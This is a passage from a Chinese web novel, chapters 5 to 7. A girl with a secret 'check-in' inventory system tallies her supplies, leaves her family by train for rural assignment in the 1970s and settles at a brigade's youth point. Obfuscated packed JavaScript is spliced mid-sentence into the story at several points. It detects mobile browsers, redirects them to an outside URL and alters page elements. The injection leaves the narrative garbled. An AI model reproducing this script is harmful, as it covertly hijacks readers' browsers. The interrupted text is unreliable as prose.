只是这套书里有些习题讲得更深,不像学校发的课本一样,只是生硬地教授公式或添加注解,更多的是在讲解题思路、延伸深意、思维扩展。 结合课本,语文、政治这两门林见春学起来都不算难,所以她在计划的课表中只排了这两门课每天各学一个小时。 稍难些的数学、物理、化学,她怕贪多嚼不烂,最后也是排了三门课各复习课本半小时,再研习三哥送的书各一个小时。 林见春的学习任务开展得如火如荼,没过两天,林建业就发现她在这种高强度的学习之下,每天竟然还能抽出空来跟着收音机跟读俄文! “妹啊,学习也不是这么学的吧?比你二哥还厉害了。” “哪有。” 林建业不爱学习,但不排斥别人学,眼看林见春确实学得不算吃力,眼珠子一转,又打算起别的。 “现在学校还上英语课吗?” “上呢。” “那你别光练俄文,回头我给你找点英语磁带,英语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993316|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也跟上。” 闻言,林见春本就亮晶晶的眼神更亮了。 “谢谢三哥!” 林建业要做的事一般不会耽搁太久,不过磁带这东西本来供应就少,更多的也是些翻录的俄文,所以他说找,也是实打实的地费了些功夫才从别人那儿翻录过来的。 等磁带到手,林见春也差不多开学了。 虽有些遗憾不能继续按计划学习,但学校自有学校的氛围,只是课余学习时再看三哥送的书有些打眼,所以林见春专门买了几个本子,把最近要学的内容抄了下来,每天只带一小部分去学校,如此一来,倒也没引起别人的注意。 充实的学习生活过得飞快。 林见春把这套书整整学了三遍,自觉大部分知识都学进了脑子里,她才在日渐沉重的氛围中意识到,7月已经悄悄走了好几天了。 8号,学校举行了散学仪式和下乡动员,虽说动员讲话振奋人心,可真正跟着动员兴奋的学生少之又少。 如今已经是第7年,最初下乡去的那批人至今还少有回城的,现在从学校走出来的学生虽不至于完全没吃过苦,但绝大部分都是家里疼、爷奶宠的,所以对未知的事情多持忧虑的心情。 林见春早就知道自己会下乡,家里这半年多来也一直在做准备,所以她并不忧虑,只在低迷的氛围中在默读昨天跟读过的一篇英语短文。 唐英家里也早帮她做好了打算,今天一过就能直接进场,只是想着今后跟林见春相见的机会渺茫,所以也憋不住挂了两行泪。 “春春,有机会就回城吧,平时我会帮你多留意工作的。” 林见春对好友也是不舍的,但下乡的原因并非一二,不好跟唐英细说,所以只挽着她的手宽慰。 “家里托了人情,就算下乡也不会去太远的地方,以后能请探亲假了我就立马回城看你。” 唐英哭着说好。 知青办那边并不要求学生一离校就下乡,统一安排到了七月底。 这期间林见春做不了别的,索性在家待着,等到25日,她的下乡点终于由知青办通知上门了。 本省南兴县砂河公社东旺大队,距离他们龙塘县320公里。 320公里听起来不远,可真要回家,首先得坐牛车转客车到南兴县城,再从县城搭乘火车回龙塘,这一趟下来,没7、8个小时打不住。 不过林见春还是觉得挺满足的,几个小时的路程至少比三年五载的回不了一趟家的好。 林正和冯雪华却觉得亏欠。 他俩的面子不值钱,人情托来托去距离和条件也只能二选一。 林见春不知道该怎么宽慰爸妈,只能埋进冯雪华怀里亲昵了一会儿,这才拉着爸妈一块儿清点要带走的东西。 火车上人潮涌动,东西带太多反而不美,所以林见春打算先把被子之类的大件寄过去,只带几件夏衣和少量吃的轻装上阵。 当然,像存折这些紧要的东西她都借着收拾行李的功夫悄悄避开爸妈收进了“背包”,至于冬衣冬被的,她不好带,也没理由往“背包”里收,只能过几个月再从家直接邮过去。 林正和冯雪华怕林见春吃苦头,边收拾边还想给她塞一些米面粮油糖果之类的。 眼看着行李塞了满满一大包还剩,林见春只能赶紧给三哥使眼色,让他帮着劝一劝。 林建业其实摸不准自家妹子的“能力”,不过钱票在手,有些东西过去了也能买,所以当着爸妈的面,林建业直接上手把包里那些有的没的全薅了出来,不等二老发火,转手摸了50块钱塞给林见春。 “米面油这些过去再买,免得东西带多了坠手。再说了,我妹又不是生活不能自理,带那么多东西干啥?万一上车睡懵了全丢了才完蛋!听我的!就带几件衣服,顶多再带点儿糖和水果,临了出发前先吃一顿,接下来几个小时不吃饭也饿不着!” “……” 林正和冯雪华气得很,但一想也对,只好把东西又捡回去摆好。 就像林建业说的,缺啥买啥,还是直接给钱票比较稳当。 5. 苹果 不置办别的,林正和冯雪华就想着再给林见春拿100。 可这钱林见春怎么好意思要? 前头爸妈已经以各种理由给她贴补了600块之多,现在新拿出来的100还是这半年新攒下的,过几天她一走,下个月起大哥那边往回寄的津贴又少20,到时候爸妈攒钱更难,所以这钱她拿着只觉烫手。 林见春实在不要,林正和冯雪华也拗不过,只能把10张整钱收起来,重新拿了些零钱和票给她。 钱票数额都不大,叠起来有一大把,林见春估摸着这也有个二十来块,犹豫了一下还是接过了手。 这半年以来她靠“签到”获取了不少物资,有些东西她用不上,完全可以先换出去,但有些东西却是可以借着这次置办下乡物资的机会在爸妈面前过个眼的,免得他们再白费钱。 至于林建业给的50块,林见春打算先攒起来,等以后再换东西时凑整了一起找机会拿给爸妈。 “谢谢爸妈,谢谢三哥。” 林正和冯雪华都觉得眼眶发热,心头不舍,又有点儿难以言表的复杂。 “……衣服被子那些你先带着薄的,厚的等段时间家里再给你寄去。” 夏天热得很,家里都直接拿被单当被子盖,林见春要轻便,只需要先带一套床单被套过去,这样既不占包,再带上夏衣和一些糖果零嘴也不费力。 “好。” 老林家三个大人都是要上班的,等他们一走,林见春就马不停蹄地开始清点这段时间的收获。 “签到”所得十分随机,大多数时候她都是在家里“签到”,所以收获多是米面粮油糖之类的生活物资,只是每次的数量并非固定,有时多,有时少。 但,这是长达半年的积攒!光大米就有120斤之多! 以她平时一天三两米的饭量,这些大米完全够她一年消耗还有余,更何况她还收获了面、油、蛋、肉之类,平时吃的丰富,大米自然消耗更慢。 拢合来看,大米120斤,面粉24斤,蛋25个,猪肉5斤,羊肉3斤,油3斤,盐11斤,白糖10斤,红糖3斤,奶糖2袋,硬糖8袋,饼干6盒。 这些物资靠她一个人消耗不知道要吃到什么时候,万幸蛋肉算不上生命体,不然放坏了才是真可惜。 除了能吃的东西,林见春还“签到”收获了5件毛衣、2双鞋、3个暖水瓶、1套床单、2个搪瓷杯、6个搪瓷碗、8双筷子、3块肥皂。 这些都是日用物资,到了乡下也用得着,只是这些毛衣里头有3件是男款,鞋也有1双的男式的。 这鞋看着像是三哥的尺码,可以当成新的拿给三哥穿,男款毛衣也可以换2件出去,留1件给爸,再把女款的给妈1件。 再就是比较稀罕的东西,棉被、药,7支铅笔、1支钢笔、7个记事本、1个手电筒、8节电池、6尺的确良,甚至还有一个十好几米长的展销货架。 货架不好往外拿,林见春直接拿来分隔放置其他物资,这样“背包”看起来有序分明。 清点完东西,林见春心中也大概有了成算。 6斤的棉被和那瓶10粒装的阿司匹林是最初“签到”所得,最好留下来自用。 棉被这次正好拿出来交给爸妈,等她安顿好再和她的冬衣一起寄到东旺大队,药品就留着随身以防万一。 而肉、蛋、油、糖在这年头属实金贵,“背包”里的量也不大,林见春也准备留着不往外换,猪肉给爸妈留3斤、羊肉2斤,白糖给家里留4斤,红糖留1斤,奶糖和硬糖各留1袋,还有饼干也留2盒。 奶糖和硬糖都是论颗卖的,街道供销社里平时都是整装一袋50颗存放,她能一次收获这么些纯粹是那几回运气好,直接获取了整袋装的,饼干也直接获取了半斤一盒装的,所以量才这么足。 除开这些,其他的都可以酌情换出去。 他们这个家属院人员复杂,但整体氛围还算可以,换起来林见春也安心,只是得细细筛一下人选,免得弄巧成拙。 这里头最值钱的应该是那支钢笔和6尺的确良。 林见春私心是很喜欢这支钢笔的,只是在乡下用钢笔怕是有些打眼,所以换出去也好,免得看着心烦。 这支钢笔是大厂生产,在当下很受欢迎,少说也能可以换到10来块,那6尺的确良完全可以够做一件上衣,又不要布票,所以换个15也不算黑心。 余下的,大米不要票1毛6先换100斤出去,毛衣8元一件,至于其他就都先留着,等下乡之后走一步看一步。 林见春依着计划花了整整一天时间才把东西全部换完,加上三哥给的、爸妈给的零钱、换出去的票证,最终她手里拢共攒住了132块! 凑了130的整和存折一起放好,只留2块钱随身放,林见春长舒一口气,看着“背包”直笑。 物资丰厚,未来可期,下乡的日子也不见得会过得多苦啊。 等林正和冯雪华下班回来瞧着家里多出来糖、肉、饼干,忍不住念叨林见春抛洒。 “家里什么都有,做什么买这些给家里。” 林见春只说这是机缘巧合。 “糖和饼干我自己也留了,肉不好带,爸妈让三哥看看怎么做好吃吧。” 临行前的一顿肯定是没法吃完的,所以冯雪华耳提面命,让林正和林建业这几天烧菜都弄点肉搭一搭。 孩子拿着钱知道怎么花不亏嘴也是好事。 “我瞧你还买了好些东西,钱票都够吗?” 林见春拿出来的还有那套新的床单被套以及6斤重的棉被、1个搪瓷杯、1块肥皂,毛衣、鞋的尺码也不同,冯雪华整理了一下,发现还有男款,哪能不明白这是给林正和林建业准备的? “够的,三哥给的我还没花完呢。” 冯雪华睨了她一眼,“谁家孩子一天能花50。” 林见春直笑。 “行了,你把杯子和肥皂随身背过去,新的床单被套就作换洗的,等你来信我再连同被子、冬衣、鞋子一起给你寄过去。” “好。” 临了出行,家里家外要忙的事情仿佛多了起来,时不时还要被同学叫出去散散步,所以林见春连着几天都没看成书。 这些书林见春都打算带到东旺大队去,临行前借着收拾行李的掩护成功收进了“背包”,倒是其他东西实在轻巧,塞在包里不是很明显,林见春就没急着收,任林正帮她背着。 出发这天,老林一家三口都请了假,送了林见春到车站跟知青办的人碰头。 这一批红旗街道周边需要下乡的毕业生差不多有20个,其中有4个被分配到了南兴县,只是4个人都分散到了不同公社,也不知道几个公社具体相隔多远。 简单了解到其他同学的情况后,南兴县这几个知青就结成队交流了起来,林见春认识其中两个人,只是平时都只是打个照面没什么交情,所以更多的是听,实在需要她搭话时才开口。 对她这种态度,三个知青倒没特别的反应,毕竟有人爱说话,有人就不爱说,所以都没有生硬地将话题丢给她。 站台也算一片其乐融融,站在远处的冯雪华忍不住掉泪,林正拍了拍她的后肩,连林建业也忍住了没插科打诨。 火车很快进站。 林见春知道以家里人的性格不会把她送到站就回家,上车找到自己的座位后探出车窗找了找,果然瞧见爸妈和三哥都随着人群跟着火车车身寻找她所在的车厢。 一直还算冷静的林见春也红了眼眶,举起手臂高高挥舞,等与家人视线相对,她又扯起了一个大大的笑容。 “我会好好的,安顿下来就给家里写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993317|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信。” 车上车外人潮涌动,林见春知道她说的话爸妈和三哥都听不清,可还是尽量大声,期待有一丝声音能穿过人群传达她的感情。 跟老林家近似的家庭数不胜数,可惜火车不会给人释放情绪的时间,很快就有广播提示火车即将出站。 火车发车离站,火车内的氛围很是低迷了一阵。 不过这股沉闷的伤怀很快就被火车“哐当哐当”的声音催散,新上车的乘客已经忍不住开始跟相识的人搭话,林见春也吸了吸鼻子,结果比舒缓先来的是一股子难以言喻的酸臭。 是了。 车厢里有很多乘客是从其他地方经站停留的,也不知道已经在车上待了几天,现在天气又热,有些味道也很正常。 林见春包里背着苹果,是出发前林建业买的,这会儿也没有别的东西可以消散气味,林见春只能先借着包遮掩,把多余的东西全部放进“背包”,才拿了一个苹果出来放在鼻子底下嗅一嗅。 有苹果的香气,那股酸臭的味道稍微淡了一些,只是她这样只闻不吃,还是很快就吸引了别人的关注。 “妹儿,你这苹果看着挺新鲜呀,是家里在城头给你买的?” 林见春顺着声音抬头看过去,只见一个隔了两排座位的老太太正从座位上探出脑袋盯着她打量,眼睛里精光闪烁,自以为隐蔽地扫了两眼她看起来鼓鼓囊囊的包。 林见春没直接应话,只微微一笑点了下头。 苹果的香气单放着其实也不算明显,只是她这苹果又大又新鲜,有人闻声看来,也难免被吸引了注意。 老太太似乎就想要这种效果,在座位上蛄蛹了两下,也不知道是不是在跟同伴交代什么,没多会儿她就离开了座位,捏着1毛钱走了过来。 “妹儿,我老伴儿晕车,你这能不能换一个给我?” 苹果是比较常见的水果,但这年头什么东西都稀缺,这苹果也是林建业冒着风险在小黑街抢到的,光“入门”就不止交了1毛钱。 林见春一时码不准这老太太是好是歹,谨慎起见,故作犹豫地盯了一眼她手里的钱,摇了摇头。 “不好意思,我也只有这一个。” 老太太表情不变,眼神却有些冷,还来回扫视林见春抱在腿上的包,并不相信这么鼓的包里没别的东西。 “妹儿,出门在外……” “你这老太太还怪奇怪的,人家小姑娘不愿意换就不换呗,怎么着,还想强买啊?想陷害人小姑娘成投机倒把的坏分子?” 突如其来的声音不高,却让其他看热闹的乘客肃静了下来。 林见春顺着声音看过去,只见侧方一个穿着军绿色裤子配白色衬衣的青年,此刻正义正言辞地替她解围。 “投机倒把”可不是那么好沾染的,老太太一听明显有些迟疑,眼神在林见春和那青年之间犹疑,似有不甘地坐了回去。 其他乘客没了热闹可看也收回了注意,一时间,车厢里又变得热闹而嘈杂。 林见春对这青年的感官其实有些莫名,不过人家好歹帮了她,所以林见春还是扬起笑容,以不大不小的声音道了一声谢。 青年手里握着报纸,对着她点了点头就收回了视线。 龙塘到南兴车程5小时,差不多走到半途时林见春就差不多不受嗅觉影响了,所以直接吃掉了苹果。 途中有意无意的打量并不少,林见春是第一次一个人出远门,也怕有心之人看她的包鼓囊就起坏心,所以哪怕不困,她也假意打盹儿趴在包上眯了一会儿。 如果包里装的东西是硬货,这包一压指定得凸显形状,可她这一趴,包直接被压瘪,可见里头都是些柔软的衣物一类,这一瞧,之前还在打量的人顿时少了许多。 林见春暗暗松了一口气,无比庆幸脑子里有那个“绑定错误的系统”。 6. 汽水 下午两点半,火车抵达南兴站。 虽然同在一省,南兴县却因为远离省城不比龙塘繁华,不过正因为远,这里的火车站比龙塘修建得晚,所以看起来反倒比龙塘新上不少。 因为火车上那一出,林见春也不敢再混在人群里下车,靠窗等了一会儿,避开大部队下车高峰期才背上包出了站台,没想到先前帮她解围的青年也在这时下了车,凭借身高优势,很快就走到与她并肩的位置。 “你也是新来的知青?” 林见春侧头。 青年跟她差不多,也只背着一个薄薄的旧包,只是手上依然拿着报纸,现在卷成了纸卷。 说话时,青年脸上带上了比较明显的情绪,林见春粗略判断,将之定性为“不可思议”、“惊喜”。 林见春没因此生出任何受宠若惊的感怀,脑子里反倒敲起了警钟。 “嗯。” 林见春的冷淡没有伤害到青年,反手将报纸插到侧包,微笑着自我介绍,“我叫李春景,是去年下乡的知青,被分派到了砂河公社东旺大队支援建设,不知道你是哪个大队的?” 林见春不是很想跟陌生人搭话,但听到相同的公社大队,她还是难免露出了惊讶的神色。 正好接收知青的公社干部就在火车站外设点,出了火车站的门一眼就能看见,林见春眼尖,一眼就看到了用粉笔写着“砂河公社”的黑板,当即顺手指了过去。 “我也在东旺大队,先过去集合了。” “那还真是巧了。一起过去吧,我也跟大队长打个招呼。” “……” 李春景不是龙塘火车站上的车,老林家也没什么背景,她更是一个自小离乡的孤女…… 对方应该也不会对她有什么别的企图吧? 两人并肩走到集合点,李春景熟稔地跟东旺大队的大队长打了个招呼。 “牛队长,一会儿我跟你们一路回去吧。” 东旺大队的大队长是个瘦成麻杆儿样的中年男人,皮肤黝黑,这会儿在太阳底下晒着汗水直流,嘴唇因为缺水有些干裂。 见李春景身边跟着个轻装简行的林见春,牛队长先是蹙了眉,然后才声音干哑地问他。 “李知青,这是你家妹子?” 李春景直笑,“嗐!我孤家寡人一个,回城就是看望一下老师,从哪儿带得来家人?这是今年新分派给咱们大队的知青,我在车上碰到了,就顺便跟她一起过来跟牛队长打个招呼,等回了公社也好蹭蹭咱们大队的牛车。” 牛队长扯起嘴不尴不尬地笑了一声。 知青下乡前几个月全靠老乡教做活,有人学得快,自然也有人学得慢。 牛队长对男男女女的倒是没什么特殊看法,只是林见春细皮嫩肉的,光看那手就知道在城头也是个不干家事的,加上她来下乡,只背了一个瘪瘪的包,多半也是个不打算长待的,指不定哪天就跑了,所以表情一时沉了两分,对林见春没什么太好的脸色。 林见春下乡本来就不是为了吃苦来的,大队长的态度影响不了她,正好这会儿集合点人还不多,她不想在这儿干晒着,便厚着脸皮跟着给大队长打了个招呼。 “牛队长,我是新分派到大队的知青林见春,家里前头算着时间先帮我把多的东西寄到这边邮局了,我去取一下再过来跟大家集合。” 提前寄东西的确是个好办法,牛队长知道自己误会了,脸色便也缓和了下来,摆了摆手让她去。 李春景却喊住了林见春,“林知青,需要我帮你搬东西吗?” 林见春:“……不用了,东西不是很多。” 不等李春景再说什么,林见春赶紧快走了几步。 第一次到南兴县,也不知道这儿的邮局在哪儿,百货商场又在售些什么东西。 她的东西都在“背包”里,只能一路打听找到邮局和百货商场的位置所在,再寻方便看情况从“背包”取用东西。 南兴县的百货商场也很好找,跟龙塘的百货大楼差不多,内里东西齐全,只是像麦乳精、奶粉、红糖、雪花膏、黄芪霜这些依旧是稀缺货。 倒是手表、自行车这些还有展售品,这会儿甚至有不少人在展台外头流连,主打一个只看不买。 林见春今天的“签到”机会留着没用,这会儿刚好操作。 不过她的运气还没好到可以白捡这种大件的程度,这次“签到”所得还是寻常的东西,一块包着“南兴皂业”纸皮的香皂。 刚好合用,聊胜于无。 一圈逛下来,林见春也发觉自己忘记带席子,刚好商场一楼就有得卖,买一张带去东旺大队,也免得晚上要睡时才尴尬。 其他东西暂时用不上,林见春又逛了一圈,想想还是买了5瓶汽水,正好把身上揣着的两块用掉。 出了百货大楼,林见春找了个隐蔽的角落取东西。 她背的包不算太小,可以装下5斤米,额外又放了2斤盐、2斤面粉、1斤白糖和25个鸡蛋,为了避免磕碰,肥皂和香皂都带着包装纸,可以直接塞到搪瓷杯里,再用面粉和盐把搪瓷杯和鸡蛋隔开。 至于其他的,单分了10颗奶糖和20颗硬糖放在裤兜里,倒是暖水瓶不太好带,只能提着把手,另一只手又提着装了汽水的网兜,胳膊下夹着席子,所以只能小心着,免得磕磕碰碰的损坏了。 大包小包的回了集合点,现场的知青已经有二十好几个。 见集合点接人的公社干部和大队长们都还没有开拔的动静,林见春松了一口气,快步走到牛队长旁边,把装着汽水的网兜递给了他。 “牛队长,天太热了,你跟公社干部和其他队长分着喝一喝吧。” 汽水可是个稀罕物,牛队长哪里敢收。 “你自个儿喝。” 公社干部基本都有带盖的茶杯,他们这些大队长是因为太远了,茶盅带来带去的麻烦,所以再热也只能忍着。 林见春想得周到,牛队长心里也舒坦,尤其看她去取的东西虽不多,却带了实用的暖水瓶和席子,知道她短期内是不会跑路的,对上她自然有了两分好脸。 林见春花了钱就没打算白花,干脆把席子和暖水瓶放到了脚边,打开包把搪瓷杯取了出来。 “我也是要喝的,其他几瓶大家分一分,解解渴。” 砂河公社来了一个干部和7个大队长,干部指定是单独喝一瓶的,其他大队长加一个她分四瓶刚好。 至于其他公社的人和那些知青就不在她的考虑范围之内了。 林见春开包的动作也没避着人,所以牛队长看到了她包里都有些什么,见还有面粉鸡蛋,不禁有些无语。 “你家里头还给你寄这些?” “嗯,我不太会干活,家里怕我挣不到几公分到时候给饿着。” “……” 牛队长的脸又黑了下来。 “牛队长快收着吧,其他知青我也不认识,只能跟着牛队长,你喝两口水缓缓,一会儿也好多跟我讲一讲咱们东旺大队的事。” 林见春又劝了几句,主动开了一瓶汽水倒了一半到自己的杯子里,牛队长才垂着眼接了剩下四瓶半。 如林见春打算,牛队长直接给了正坐在黑板前用芭蕉叶子遮阳的公社干部一瓶,不知道说了什么,让公社干部大笑了几声,才拎着另外三瓶招呼了砂河公社其他大队长凑到一堆。 都是乡野汉子,大家也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这一批分到东旺大队的知青有5个,加上林见春刚好三男两女,只是多出来一个李春景,再加上牛队长,这队伍看起来就有些庞大了。 有汽水那出,其他知青对林见春的感官都不太好,李春景倒是没什么异常,一路走走停停地跟其他知青搭话,时不时还要回头招呼林见春两句。 林见春心中感叹这位李知青话多,暗想这应该是就是三哥不经意间说起过的“社交暴徒”,哪怕不喜欢,也难免有些佩服。 直到上了回砂河公社的客车,这种场面才有些淡然。 无外,客车上的味道实在有些难闻。 客车的汽油味很重,内里也远不比城头公交车干净,还有许多乘客脱了鞋翘腿,有别人经过也不知道收一收。 好在林见春抢了个靠窗的位置,打开车窗透着,风一吹也不算太难受。 就是鸡蛋和暖水瓶都经不得颠簸,林见春给同座的大娘抓了几颗硬糖,请她往外稍稍,这才有空余把席子立起来放着,腾出手来搂着鸡蛋和暖水瓶。 大娘得了糖很是高兴,见她搂着鸡蛋不禁好奇,“妹儿怎么搂恁多鸡蛋?走亲戚啊?” 这年头坐月子才能多吃几个鸡蛋,所以大娘第一反应就是带鸡蛋去看坐月子的亲戚。 林见春没说这是打算自己吃的,只问大娘是哪个大队的。 “嗐,东湖大队的,咱们大队新建了个肥皂厂,我这年纪也是光荣了一把,进厂做工人了!” 大娘一脸自豪,林见春却是想到了她“签到”所得的那块“南兴皂业”。 “大娘,你们厂是不是还生产香皂?” “是呀,前头才引进的什么线,做出来确实好,我家里头都用那香皂洗澡洗澡,香得很嘞!” “哇,我刚去百货商店买了一块,真那么好用以后指定还买。” “哈哈,那我得替咱们厂谢谢妹儿了。” 大娘与有荣焉,林见春也满面笑容,等到客车发动两人才安静下来。 没办法,这车开起来太颠了。 7. 知青点 一路颠到砂河公社,别说林见春,就是同排座的大娘也蔫蔫儿的,其他知青更是没眼看,等见到属于各大队破板子牛车,各种情绪齐冲上头,当场就有不少女知青哭了起来。 牛队长和其他大队队长没什么表情,毕竟他们这几年下来每年得见几场,就是接手知青之后,那些吃不下苦整夜哭的也不在少数。 “行李放上车,人跟着牛车走。” “……” 男知青也崩溃了。 但没办法。 牛车是社员一路走着赶过来的,破板车也只有那么大,放了行李就坐不下人,总不能把人和行李的重量全部施加给生产队的公共财产。 情绪一崩,分派到东旺大队的几个知青也没心情计较林见春集合点送水的事儿了。 队伍里除了林见春就只有一个女知青,这女知青难受,却不好往男知青堆里扎。 林见春也不是那种硬心肠的人,见女知青一脸难受地靠过来,她也就顺应着任她肩贴肩地跟她并排走。 有人相伴,女知青的情绪缓和了不少。 “听李知青说你姓林是么?” 林见春点头,“我叫林见春。” 个人信息早晚会在大队知青点公开的,林见春不打算排斥共同支援乡村建设的同志,该说的就说。 女知青吸了吸鼻子,没好意思伸手擦,“我叫冯悦,你跟李知青是怎么认识的呀?我看他对你很熟悉的样子,可他不是去年下乡的吗?” “……今天第一次见。”林见春一言难尽,“我是本省人,在龙塘火车站上车,当时李知青已经在车上了,只是在同一节车厢打了个照面而已。” 冯悦也有些尴尬,没再继续纠结两人的关系,转而羡慕道:“你运气可真好,居然分到了本省下乡,我是烟市人,坐了两天火车才到这儿。” 林见春看她不像路上吃了太多苦的样子,心知她家里条件估计也还不错,点了点头没再搭话。 冯悦却也是个嘴巴歇不住的,但她更有分寸,话里话外都是说的自己的情况,没多问林见春,所以林见春也没觉得多厌烦。 只是东旺大队离砂河公社还是有点距离的,林见春上车前吃了一顿,乘车期间只吃了一个苹果,现在早饿了。 冯悦也是唇色淡淡,时不时摸摸肚子,可见这会儿是真有些耐受不住了。 林见春先前分装了一些糖在身上,这会儿自然顺势拿了出来,不过奶糖不多,她只给了冯悦两颗,又给大队长和赶车的良大爷各拿了两颗,其他男知青统一一人两颗硬糖。 这年头什么糖都难得,这些男知青脸皮不算太厚,看到冯悦、牛队长和良大爷都是奶糖也没说什么,纷纷对林见春分享硬糖由衷感谢,心里那点儿不舒坦彻底消散。 不过,李春景的表情虽然依旧,林见春却察觉到他眼底的一丝不爽快。 林见春懒得去探究别人的真实想法,嘴里含着奶糖缓解饥饿,又听冯悦一路叽叽哇哇,个把小时的路程走起来也不算太累。 夏季太阳落山晚,牛队长和良大爷拉着行李带着几个知青到村时天还热得很。 这时候家家户户基本都在家里吃饭,听到动静自然多的那端着碗出来瞧热闹的,看着四男两女六个知青,不少社员凑在一堆交头接耳,有些不嫌事大的还冲着两个新来的女知青指指点点,吓得冯悦快要贴到林见春身上。 “听说其他地方有人抢女知青回家给傻子做老婆,他们指着我俩,不会也是……” 林见春不动声色的观察凑热闹的社员。 爱热闹的人不分男女,林见春有时候得空也会看一看碰巧撞上的热闹,只是从来都远远的看,不会主动凑上前。 这会儿端着碗出来看热闹的社员中女性偏多,各个年龄段的都有,且各人碗里头的饭菜都是粗粮+素菜的配式,有几个的碗里还有锅贴和面饼,可见都是实实在在的当家人,不太像那种被“抢”回家的媳妇。 最重要的是,这些人看热闹归看热闹,嘀咕也是真的嘀咕,眼睛里头却几乎看不到淫邪之气,想来东旺大队整体风气还是不错的。 “别多想,世上还是好人多。” 冯悦或许是听了太多危言,即便林见春劝说,她也有些不安,直到队伍临近知青点,见到出门相迎的8个女知青,她才稍稍心定。 这8个女知青虽说穿衣朴素,身上打的补丁也多,但精神面貌都相当不错,可见农活辛苦,日子却相应好过,至少嘴没怎么亏,平时也能吃饱穿暖不受冻。 林见春是早知道自己不会去到太贫苦的地方,毕竟林正和冯雪华再不济也是有底子的老革命,脸面不至于撑起她潇洒肆意的生活,却足够让她少吃一些苦。 林见春无比感念,搂了搂手上的鸡蛋和暖水瓶,眼眶一时有些酸涩。 不过林见春忍住了没哭,只等停下来的牛队长跟他们介绍。 “咱们这儿加上你们这批新来的知青,一共10个女知青、18个男知青,女知青这边负责的是李俏俏,男知青那边负责的是李春景,今后有什么事儿都先跟他们商量,实在解决不了再跟我说。” 林见春猜到知青点的人不会少,可这知青点不过4间土墙茅草顶的屋子,居然要住28个人,这就让她有些难受了。 比林见春更难受的大有人在。 “牛队长,那我们吃饭怎么解决?” 牛队长是不管知青吃饭问题的,有男知青发问,李春景自然先站出来解释。 “我们之前都是结对吃饭,你们这一批新安顿的知青刚好6个,也可以结成一队一起开火。” 李俏俏是个生得娇俏的青年,但她不是真的娇俏,说话做事很是利落,这会儿也站出来替李春景补充。 “下乡补贴都直接发放到了大队,你们先休整,定好住的地方再去村办领补贴,如果没变动的话,应该还是每个知青20斤粗粮、5斤细粮。不过今晚你们是来不及结对开火了,先跟我们吃,等领了补贴再还。” 林见春没想到这个知青点还是结对开火,一时对未来的口粮忧心起来。 想了想,林见春还是决定先做个讨人嫌。 “牛队长,李知青,我可以单独开火吗?” 李春景和李俏俏都姓李,听到这话齐齐看向林见春。 林见春自然是看着牛队长和李俏俏的,见牛队长面色不虞,她才无奈解释。 “实在是我不怎么会干活,在家也从没进过厨房,如果和其他知青同志结对开火,短期内还好,时间一长,大家不都会被我占便宜吗?本来农活就不轻松,总不能一起收工回来,我却抄着手等饭吃吧?” 如果知青点人少,林见春也愿意多出一些口粮跟其他知青混口饭吃,可东旺大队足足28名知青,如果她每日都能拿出超过自己饭量的口粮,时间一长,保不齐有人会动歪心思。 其实更好的办法还是出去单住,可知青点这么多人都硬挤着住下了,她一来就要出去单住,将来恐怕没人把她当一同支援建设的同志了。 “没进过厨房?难不成你在家是大小姐,家里每餐都有保姆伺候的?” 场面一时凝固。 林见春顺着声音看过去,只见说话的是个尖下巴的男知青。 这男知青与林见春对上视线也不瑟缩,甚至嫌恶地“嘁”了一声。 “也不知道是哪个省城来的,李春景和李俏俏这两位从首都来的同志也没见得比你娇贵,大家都是结对开火,怎么就你不同了?” 他这话让很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993319|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知青都十分认同,自然也就没有人帮林见春搭腔了。 林见春知道自己的打算难以实现,可她真的希望可以有一个独立的空间可以看书学习,所以这时候哪怕得罪了人也值得。 商量不下来,林见春就厚着脸皮跟牛队长耍赖。 不过不等她开腔,李春景已经安抚了那个抱怨的男知青。 “林知青没吃过苦,在集合点碰头的时候也跟牛队长明说了家里会给她贴补,真结对开火,她拿出来的口粮全是细粮,比起来,占便宜的倒成了结成对的同志了。” 结对的是同一批知青,李春景的话看似公允,老知青群里却有听出阴阳怪气的人在。 李俏俏就是其一。 不过她也没直接搭腔,而是叫上了牛队长。 “队长,其实我们知青点已经不太睡得下人了。你是知道的,我们睡的床是拼接的,顶多安排下四个知青,我们女知青这边还好,男知青那边却早就开始打地铺了,冬天冷得不行,如果真要安排下来,我们女知青到了冬日里怕是有点不好熬。” 她这话一出口,其他知青也有些按捺不住了。 